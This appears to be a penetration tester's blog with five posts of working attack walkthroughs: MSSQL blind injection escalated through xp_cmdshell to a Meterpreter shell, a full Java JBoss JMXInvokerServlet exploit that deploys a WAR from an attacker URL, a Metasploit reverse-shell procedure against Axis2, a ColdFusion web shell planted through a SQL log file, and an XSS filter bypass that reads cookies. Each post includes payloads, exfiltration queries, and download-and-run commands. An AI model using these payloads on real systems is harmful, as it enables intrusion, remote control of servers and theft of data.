Wednesday, September 25, 2013

Blind SQLi -> SQLi -> Command Execution -> Meterpreter - Based On A True Story

This is going to be a long one. For a quick rundown, see the video of this process from start-finish at http://www.youtube.com/watch?v=XIZyxVzERXg <Ugh - Had to take the video down for censoring, nothing interesting, just some machinenames that I can't post. Tried editing with OpenShot and was too much work, anyone know an easier way?>

Blind SQLi on MSSQL is something I run into once in a while. In a recent test, I took the extra time to take it all the way to a Meterpreter shell manually and would like to document that process here. It involved one new trick I hadn't seen before, so here we go.

The SQL injection was on the UserName parameter, the following is an example of a sanitized POST request:


POST /login.aspx HTTP/1.1
Host: XXXXXXXXXX
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: XXXXXXXXXX
Cookie: ASP.NET_SessionId=YYYYYYYYYYYYY
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1337
UserName=test&Password=test&SUBMIT1=Sign+In

Step 1 - Find The Injection Point For Stacked Queries

First we're going to want to confirm the SQL injection and figure out where to inject our own stacked queries. Stacked queries are just multiple queries appended together separated by semi-colons. For example, suppose the backend code for the SQL statement for this function looked like this:

query = "SELECT * FROM Users WHERE userName = '"+uName+"' AND password ='"+password+"'";

In this case, we would set the UserName parameter to "test'--" which would result in the following query being constructed:

query = "SELECT * FROM Users WHERE userName = 'test'--AND password = 'testpassword'

Notice that the highlighted section is commented out. Sometimes things are a little more complicated, as was true in this example. Suppose the code creating the query looked like this:

query = "SELECT * FROM (SELECT * FROM Users JOIN Names ON Users.userId = Names.userId WHERE Users.userName = '"+uName+"' AND password ='"+password+"'") as tempTable;

In this case, we would need to set our UserName parameter to "test')--" so that we would get the following:

query = "SELECT * FROM (SELECT * FROM Users JOIN Names ON Users.userId = Names.userId WHERE Users.userName = 'test')--' AND password ='"+password+"'") as tempTable;


To find out if we've got it right, we need to create a stacked query that will have a noticeable result, a great way to do this is to introduce a delay. Consider setting UserName = "test'); WAITFOR DELAY '000:00:20';--". If everything was done right, we should see a 20s delay in the response and can move on to the next step! You may need to add more braces or quotes, try to imagine what the query may look like.

Step 2 - Gaining Sight

Blind SQL injection can be extremely frustrating to work with. The following technique was jacked from http://www.secforce.com/blog/2013/01/stacked-based-mssql-blind-injection-bypass-methodology/
and works very well in many cases.

It depends on the DB user having a certain set of privileges. They either need to be able to run the sp_configure command, or "Ad Hoc Distributed Queries". Issue the following 6 commands, in this order, to attempt to enable "Ad Hoc Distributed Queries" (and while we're at it, xp_cmbshell). You'll want to put these commands in the highlighted section of the UserName parameter as follows:

UserName = "test');<SQL TO INJECT>;--"

exec sp_configure 'show advanced options', 1
reconfigure
exec sp_configure 'Ad Hoc Distributed Queries', 1
reconfigure
exec sp_configure xp_cmdshell, 1
reconfigure

If all went well we should now be able to cause the remote victim database to dump query results back to a local instance of MSSQL that we (the attackers) are running.

Testing For Success

It's very important at this point to test whether the results of the sp_configure commands succeeded. I've developed a quick and easy technique for doing this that has worked great for me many times. It involves setting up DNSCat (http://www.skullsecurity.org/wiki/index.php/Dnscat) on a server. You need a domain and have to configure your machine running DNSCat to be the authoritative nameserver for some subdomain on it.

On your server run "./dnscat --listen"

Through the SQL Injection run the command:

exec xp_cmdshell 'ping test123.dns.yourdomain.com'

The HTTP parameter will look like UserName = "test');exec xp_cmdshell 'ping test123.dns.yourdomain.com'' ;--"

You should now see DNS lookups coming to the console in dnscat for 'test123'. This is a great way to test command execution since most organizations will allow recursive DNS lookups outbound, even when other filters are in place, and the ping/host commands are fairly universal.

At this point you have blind command execution and can skip straight to Step 5, or continue on with the following.

Configuring the Local DB

To do this, you'll need to install Microsoft SQL Server Express https://www.microsoft.com/en-us/sqlserver/editions/2012-editions/express.aspx

Once installed, you need to set up and configure the database to accept remote connections with SQL server authentication. This was a bit of a headache to get right for me, so I'll outline some of the key steps:

1) Install SQL server express

2) Set up a database by running the following commands in SQL server management studio
  • CREATE DATABASE output_db;
  • CREATE TABLE output_db..output ( result VARCHAR(MAX) );
3) Configure the database listener to accept remote connections. This is done by right clicking on your DB listener in SQL server management studio, select "Properties". Under "Security" you must allow "SQL Server and Windows Authentication". Under "Connections" you must tick "Allow Remote Connections"

4) Create a database user. This is done by expanding the tree for your DB Listener in Management Studio and selecting "Security -> Logins", right click on Logins and add a new SQL user.

5) In the Start Menu, Under SQL Server, Configuration Tools, you must open the SQL Server Configuration Manager. Under "SQL Server Network Configuration", double click on "Protocols for SQL Express", then double click on "TCP/IP". Under "IP Addresses" tab, at the bottom there is an "IP ALL" section. Set the "TCP Port" value to "1433"

6) Disable Windows Firewall and set up any port forwarding you need on your router. You just need to forward 1433/tcp.

7) Restart the database through the management console.

8) Do a netstat -an, look for a listener on port 1433

Testing Locally

Chances are you messed something up by this point. I recommend testing your MSSQL and network configuration locally. Create an table called output with a single column of type "text". Open up a new query in SQL server management studio and try the following (replace highlighted parameters):

INSERT INTO OPENROWSET('SQLOLEDB','<Your External IP>';'sqlUserName';'weakPassword',output_db.dbo.output) SELECT @@version

If successful this will insert your MSSQL Server version into the "output" table. Debug this until it works.

Exfiltrating Data

Now you're all set to exfiltrate data! Just inject the above command into the following again, replace <SQL TO INJECT> with INSERT INTO OPENROWSET('SQLOLEDB','<Your External IP>';'sqlUserName';'weakPassword',output_db.dbo.output) SELECT @@version


Example:
UserName = "test');INSERT INTO OPENROWSET('SQLOLEDB','<Your External IP>';'sqlUserName';'weakPassword',output_db.dbo.output) SELECT @@version;--"

If you get the remote DB version back in your local output table, you're in luck! You can now run any query!

Step 3 - Command Execution

This is the interesting part where I deviate a bit from what I've seen before. Above we enabled command execution with the sp_reconfigure command, now we would like to run a command and get it's output. Consider injecting the following into the <SQL TO INJECT> portion of our payload:

create table #output (output varchar(255) null);insert #output exec xp_cmdshell 'dir C:\'; INSERT INTO OPENROWSET('SQLOLEDB','<Your External IP>';'sqlUserName';'weakPassword',output_db.dbo.output) select * from #output where output is not null; drop table #output

This creates a temporary table called #output, sticks the results of our shell command (in this case 'dir') into it, then moves the contents of that table up to our local database server, and finally drops the temporary table! Full remote command execution!

Step 4 - Meterpreter

The fun doesn't really start until you've dropped your Meterpreter shell. There are a number of ways to do this. This time I chose an FTP script but have a few other interesting ideas as well.

The FTP method which is quite simple, is to just host your payload on an FTP server, then use command execution to download and execute it. I usually just run an anonymous vsftp server and then do the following in BackTrack:

Generate the payload:
./msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=<YOUR IP> LPORT=4444 -f exe > /srv/ftp/payload.exe

Start your meterpreter handler:
./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=<YOUR IP> LPORT=4444 E

Now we can use command execution to grab and execute the payload. Run the following commands on the victim machine:

Create an FTP script:
echo open 192.168.14.81> ftp.txt     
echo <USERNAME>>> ftp.txt
echo <PASSWORD>>> ftp.txt
echo bin>> ftp.txt
echo get payload.exe>> ftp.txt
echo bye>> ftp.txt

Execute the script, download the payload:
ftp -s:ftp.txt

Run the payload:
payload.exe

Step 5 - Advanced Payload Delivery

So it didn't work... You've confirmed that you have blind command execution (see Step 2 - Testing for Success), but you don't have a shell.The victim could be filtering egress traffic, A/V could be mucking things up, who knows. Luckily I have some other interesting evasion strategies that I'll get into some light detail on. For an example see the video referenced at the beginning of this post.

Use the BackTrack "exe2bat.exe" utility to convert a stealthy payload into a batch file. I use a payload that tunnels a cmd shell over DNS requests. I use a custom version of dnscat (http://www.skullsecurity.org/wiki/index.php/Dnscat) with some minor code changes to improve stability and hardcode the IP address.


Rather than a custom payload, you can also use a Meterpreter payload in VBScript format. This is my favorite method and the first thing I usually try. Luckily we have Metasploit Pro and the dynamic payloads generated by it are GREAT at A/V evasion. Metasploit has a script to convert an executable into a VBScript file, I think it's called exe2vbs.rb. Once you have a VBScript file, you need to actually get it on the remote machine. I just create a batch file to do this similar to what 'exe2bat' does. At the beginning of each line in the VBS add "echo '" and at the end of each line add "' > notAPayload.vbs". Also you'll probably want to edit the VBS file that Metasploit generates. I like to hardcode the location where it creates the executable so I know where it is and somewhere that I know should be world-writable. This is all very hand-wavy, - if you have questions about this feel free to email me, or watch the video.

Whether you use exe2bat or exe2vbs and turn it into a batch file, the next step is basically the same. You want to run the batch file on the remote machine to restore your payload to executable format. Just import the batch file into BURP Intruder, set the target field to our <SQL TO INJECT> section of the parameter, set BURP to run in single threaded mode (maybe setup a little delay for good measure), and let it rip! This should get your executable payload to the victim purely through command execution and relatively painlessly. From here you can just run it.

For examples of this whole process from start-finish, see the 10 minute, audio less video referenced up top.

Friday, September 20, 2013

JBOSS JMXInvokerServlet Exploit

Recently ran into a JMXInvokerServlet that didn't require authentication. These generally have a URL that looks something like:

http(s)://localhost:8080/invoker/JMXInvokerServlet

While there is a Metasploit module for this, it wasn't working for various reasons. Inspired by Matasano (http://www.matasano.com/research/OWASP3011_Luca.pdf), I wrote up some custom exploit code for this.

Make sure you modify the appropriate strings in JBOSSExploit.java:

//Parameters you need to configure
int hash = 647347722;
String jmxUrl = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";
String attackerUrl = "http://externalhost.com/test.war";
String payloadSaveLocation = "testPayload.out";

hash -> This is specific to the version of JBOSS. It's the entry that identifies jboss.jmx:name=Invoker. For my version it was 647347722. Metasploit modules have a different number here and is one of the reasons it was failing (you'll get an exception back from JBOSS if this is wrong).

jmxURL -> Self explanatory

attackerURL -> Host a malicious WAR file here and watch your apache logs

payloadSaveLocation -> This is useful if you want to proxy through BURP or use the metasploit module to send the payload rather than this hacky Java code. The payload object will be saved to disk. You can then overwrite /usr/share/metasploit-framework/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin with the payload generated here. When you run the jmxinvoker metasploit module, it will use this new payload and you can see what's going on by proxying MSP through BURP.

To Compile (make sure you have the JAR files, they come with JBOSS):
javac -cp jboss.jar:jbossall-client.jar TrustModifier.java JBOSSExploit.java

To Run:
java -cp jboss.jar:jbossall-client.jar JBOSSExploit

To finish it off, just access the URL where your malicious WAR file was deployed e.g: http(s)://localhost:8080/test/

And of course, the code:

JBOSSExploit.java:

import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.URL;

import org.jboss.invocation.InvocationException;
import org.jboss.invocation.MarshalledValue;
import org.jboss.invocation.MarshalledInvocation;


public class JBOSSExploit {

public static void main(String[] args) throws Exception {
//Parameters you need to configure
int hash = 647347722;
String jmxUrl = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";
String attackerUrl = "http://localhost/test.war";
String payloadSaveLocation = "testPayload.out";

MarshalledInvocation payload = new MarshalledInvocation();
payload.setObjectName(new Integer(hash));
Class<?> c = Class.forName("javax.management.MBeanServerConnection");
Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class);
payload.setMethod(method);

Object myObj[] = new Object[4];
myObj[0] = new javax.management.ObjectName("jboss.system:service=MainDeployer");
myObj[1] = new String("deploy");
myObj[2] = new String[]{attackerUrl};
myObj[3] = new String[]{"java.lang.String"};
payload.setArguments(myObj);
        FileOutputStream fileOut = new FileOutputStream(payloadSaveLocation);
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        out.writeObject(payload);
        out.close();
        fileOut.close();
        System.out.printf("Payload saved in "+ payloadSaveLocation);
     

        String type = "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue";
        URL u = new URL(jmxUrl);
        HttpURLConnection conn = (HttpURLConnection) u.openConnection();
        TrustModifier.relaxHostChecking(conn);
        conn.setDoOutput(true);
        conn.setRequestMethod( "POST" );
        conn.setRequestProperty( "Content-Type", type );
        conn.setRequestProperty( "Content-Length","10000" );
        OutputStream os = conn.getOutputStream();
        new ObjectOutputStream(os).writeObject(payload);
     
        ObjectInputStream in = new ObjectInputStream(conn.getInputStream());
        Object obj = in.readObject();
        if(obj.getClass().toString().equals("class org.jboss.invocation.MarshalledValue")){
        System.out.println("\nGot MarshalledValue response");
        MarshalledValue mv = (MarshalledValue)obj;
        Object mvContent = mv.get();
        if(mvContent != null)
        {
        System.out.println(mvContent.getClass().toString());
        if(mvContent.getClass().toString().equals("class org.jboss.invocation.InvocationException")){
        System.out.println("Invocation Exception Received");
        InvocationException ie = (InvocationException)mvContent;
        System.out.println(ie.getMessage());
        ie.printStackTrace();
        }
        }
        else
        {
        System.out.println("Success! Look for the deployed WAR.");
        }
        }
     
   
     
}

}

TrustModifier.java


import java.net.*;
import javax.net.ssl.*;
import java.security.*;
import java.security.cert.*;

public class TrustModifier {
   private static final TrustingHostnameVerifier
      TRUSTING_HOSTNAME_VERIFIER = new TrustingHostnameVerifier();
   private static SSLSocketFactory factory;

   /** Call this with any HttpURLConnection, and it will
    modify the trust settings if it is an HTTPS connection. */
   public static void relaxHostChecking(HttpURLConnection conn)
       throws KeyManagementException, NoSuchAlgorithmException, KeyStoreException {

      if (conn instanceof HttpsURLConnection) {
         HttpsURLConnection httpsConnection = (HttpsURLConnection) conn;
         SSLSocketFactory factory = prepFactory(httpsConnection);
         httpsConnection.setSSLSocketFactory(factory);
         httpsConnection.setHostnameVerifier(TRUSTING_HOSTNAME_VERIFIER);
      }
   }

   static synchronized SSLSocketFactory
            prepFactory(HttpsURLConnection httpsConnection)
            throws NoSuchAlgorithmException, KeyStoreException, KeyManagementException {

      if (factory == null) {
         SSLContext ctx = SSLContext.getInstance("TLS");
         ctx.init(null, new TrustManager[]{ new AlwaysTrustManager() }, null);
         factory = ctx.getSocketFactory();
      }
      return factory;
   }
 
   private static final class TrustingHostnameVerifier implements HostnameVerifier {
      public boolean verify(String hostname, SSLSession session) {
         return true;
      }
   }

   private static class AlwaysTrustManager implements X509TrustManager {
      public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }
      public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }
      public X509Certificate[] getAcceptedIssuers() { return null; }    
   }
 
}





Tuesday, May 21, 2013

Meterpreter Shell Through Axis Default Creds

Just a quick post on something I worked on yesterday.

Was able to use default credentials to log into the Apache Axis2 administrative interface, the login page URL usually looks something like "axis2/axis2-admin/login". 

The Metasploit module for uploading and executing a malicious Axis service wasn't working. No matter what payload I used it was complaining about the file size being too large. The following is a quick (and obvious) workaround.

1) Modify the code for axis2-deploy.rb at /path/to/msf/modules/exploits/multi/http/axis2_deployer.rb.

Add the following under line 109: File.open("/tmp/payload.jar", 'w') { |file| file.write(contents) }

This will output the payload generated by the script to disk so you can upload it manually.


2) Run the exploit against the target host with the following settings:
set PAYLOAD  java/meterpreter/reverse_https
set LPORT  443
set SSL true
It will fail, but a payload.jar will be created in /tmp/





4) Confirm through the admin interface that the service exists and is activated. Under “List Services” find and click on the name of the service, It will be some random characters.



5) When you click on the service you will be redirected to a WSDL for that service. Copy the URL for this WSDL and import it into a SOAP messaging tool like SOAPUI.



6) Start a reverse handler for the payload:
use multi/handler
set PAYLOAD java/meterpreter/reverse_https
set LPORT 443
set LHOST 128.121.17.148
exploit


7) Call the “run” method of the metasploit service using SOAPUI


When Metasploit modules aren't working properly and you're fairly confident your target is vulnerable, this type of approach is usually worth a shot. In the past I have also proxied Metasploit through BURP to intercept, analyze and modify the requests it was making to a vulnerable web application, which ultimately led to a successful shell after some minor effort.

Tuesday, March 26, 2013

Cool ColdFusion Post Exploitation


So on a recent test I happened to run into an instance of the new(ish) Adobe ColdFusion authentication bypass (http://www.adobe.com/support/security/advisories/apsa13-01.html). This is extremely easy to exploit and gets you access to ColdFusion's administrative interface. If you can find the path to administrator.cfc, accessing the following URL's in sequence is all it should take to get you admin access:

  1. https://<URL>/CFIDE/adminapi/administrator.cfc?method=login&adminpassword=&rdsPasswordAllowed=true
  2. https://<URL>/CFIDE/administrator/
So what can you do from the admin console? See slides 82-102 on post exploitation by Chris Gates http://www.slideshare.net/chrisgates/coldfusion-for-penetration-testers

But what if the machine you're attacking doesn't allow any outbound traffic, or outbound traffic is tightly controlled? This makes it difficult to abuse the "Task Scheduler" to retrieve a file off your remote web server. Another issue I ran into was that the "System Probes" function simply did not exist in the version of ColdFusion I was attacking.

So what's left? Well the if you poke around long enough, you'll notice under the "Advanced Options" for a data source in the "Data Sources" tab under "Data and Services", there are two interesting settings. The first allows you to log all database activity to a file specified on the local server. The second allows you to specify a "Validation Query". This query will be run to check if the current database connection is still alive before any database activity is performed. Unfortunately, the results of the query are NOT returned, so basically we have blind or error based SQL injection here.

We can take advantage of blind/error based SQL injection in a number of ways. The first that comes to mind would be to try and get command execution on the database server itself, if the datasource is MSSQL we can use the well known xp_cmdshell attack. Unfortunately for me, the database permissions were locked down quite tightly.

The second, more reliable, and more interesting way, is to create a CFM command shell by injecting malicious input into the SQL log file! This is possible because we get to choose the name for the log file (for example shell.cfm), and ColdFusion allows us to use the CFM or JSP extensions (JSP only works in the enterprise version).

Unfortunately, by default ColdFusion filters anything in angle brackets "<...>" from our "Validation Query". So we can't just straight up use a Validation Query like the following:

"SELECT '<cfexecute name="c:\windows\system32\cmd.exe" arguments="/c dir" variable="data" timeout="10" /><cfdump var="#data#">'

ColdFusion will filter it all out and we'll be left with nothing in our log file.

What we can do is abuse MSSQL to get our desired output in the log file. Consider what you would do if you had error based MSSQL injection? You try to get the server to throw an error that includes the output from your subquery. My favorite way to do that on MSSQL is to CAST to an incompatible type. Consider the following query:

SELECT CAST( (SELECT TOP 1 (SELECT CAST(0x3c636665786563757465206e616d653d22633a5c77696e646f77735c73797374656d33325c636d642e6578652220617267756d656e74733d222f632064697222207661726961626c653d2264617461222074696d656f75743d22313022202f3e3c636664756d70207661723d22236461746123223e AS VARCHAR(4000)))) AS int)

Let's look at it from the inside out. First, we cast a bunch of hex (the payload) to a VARCHAR(4000). This is a completely valid cast and will not throw an error, in fact, it will return the following result:

<cfexecute name="c:\windows\system32\cmd.exe" arguments="/c dir" variable="data" timeout="10" /><cfdump var="#data#">

Look familiar? Next we do a SELECT TOP 1, this was just necessary because the inner most query returns multiple rows. The outermost query creates the cast that causes the error to be thrown, it tries to cast our payload string to an INT! Well the error includes the text from our shell and since the file extension is CFM, the server will execute it!

So using the shell example I gave here, you should be able to access:
http://<URL>/shell.cfm?cmd=C:\Windows\System32\cmd.exe&opts=%2fc%20dir

And in the response you should see the following:
...
...
*censored*>> Statement[2061].execute(String sql)
*censored*>> sql = SELECT CAST( (SELECT TOP 1 (SELECT CAST(0x3c636673657420636f6d6d616e64203d2075726c5b27636d64275d202f3e3c6366736574206f707473203d2075726c5b276f707473275d202f3e3c636665786563757465206e616d653d2223636f6d6d616e64232220617267756d656e74733d22236f7074732322207661726961626c653d2264617461222074696d656f75743d223222202f3e3c636664756d70207661723d22236461746123223e AS VARCHAR(4000)))) AS int)
*censored*>> java.sql.SQLDataException: [Macromedia][SQLServer JDBC Driver][SQLServer]Conversion failed when converting the varchar value ' <style>


table.cfdump_wddx,
table.cfdump_xml,
table.cfdump_struct,
table.cfdump_varundefined,
table.cfdump_array,
...
...
...
 Volume in drive C is ROOT
 Volume Serial Number is YYYYY

 Directory of C:\*CENSORED*

03/26/2013  04:42 PM    &lt;DIR&gt;          .
03/26/2013  04:42 PM    &lt;DIR&gt;          ..
11/08/2007  02:39 PM             2,151 file1.cfm
11/08/2007  02:39 PM             2,813 file2.cfm
07/15/2011  12:57 PM    &lt;DIR&gt;          admin
05/22/2008  03:01 PM             6,076 file3.cfm
07/11/2008  03:32 PM             5,006 file4.cfm
09/21/2011  10:36 AM    &lt;DIR&gt;          dir1
07/15/2011  01:27 PM    &lt;DIR&gt;           dir2
09/17/2008  03:20 PM             1,359 file5.cfm
              XX File(s)    198,665,851 bytes
              XX Dir(s)   6,971,301,888 bytes free ' to data type int. ErrorCode=245 SQLState=22018


And there you have it. We've just bypasses ColdFusions filters to inject a command shell into a SQL log file. Here's a quick recap of the steps:

1) Get access to the admin console via the authentication bypass
2) Find the web root on the server, look under Server Monitoring in the "application" log
3) Edit a datasource: add the malicious validation query highlighted in GREEN above
4) For the same datasource, enable logging of SQL activity to a file in the web root named "shell.cfm"
5) Save the changes (this will cause the "Validation Query" to be issued as well)
6) Access the log at https://<URL>/shell.cfm?cmd=C:\Windows\System32\cmd.exe&opts=%2fc%20dir

Saturday, January 12, 2013

Abusing Open Redirects To Bypass XSS Filters

Open redirects can very often be escalated to reflected cross site scripting, in fact they can even be abused to bypass strict XSS filters depending on the way the redirect is performed. During a recent penetration test I encountered an example very similar to the following:

URL: http://example.com?redirect=http://example.com/test

Response Body:

<script>
location.href="http://example.com/test?someRandomParam1=blah&someRandomParam2=blah";
</script>


The target application had very strict XSS filters in place, any request with parameters containing quotes, brackets, angle brackets, etc... were immediately rejected and displayed a generic error page.

Consider what happens if we pass the following parameter to the function:
data:text/html;base64,PHNjcmlwdD5hbGVydCgiY29va2llOiAiK2RvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4=#

Base64 decoded, the above reads:
<script>alert("cookie: "+document.cookie)</script>

It would look like this, note the URL encoded part is just the payload above, and does not contain any characters that would set off an XSS filter. Also the hashtag on the end is to truncate the payload so that any extraneous parameters that the webserver adds in the response (in this case someRandomParam1 and someRandomPara2) are not interpreted as part of the javascript payload:

URL: http://example.com?redirect=%64%61%74%61%3a%74%65%78%74%2f%68%74%6d%6c%3b%62%61%73%65%36%34%2c%50%48%4e%6a%63%6d%6c%77%64%44%35%68%62%47%56%79%64%43%68%6b%62%32%4e%31%62%57%56%75%64%43%35%6a%62%32%39%72%61%57%55%70%50%43%39%7a%59%33%4a%70%63%48%51%2b%43%67%3d%3d%23

Response Body:

<script>
location.href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiY29va2llOiAiK2RvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4=#?someRandomParam1=blah&someRandomParam2=blah";
</script>

The following is a screenshot showing the result in the latest version of FireFox:



It's somewhat surprising that this does in fact work since redirects via the "Location:" header are not susceptible to this type of attack. A redirect to a "data:" or "javascript:" URL via the location header will have the script run in it's own context.

Possibly an oversight on the side of the browser vendors JS parser?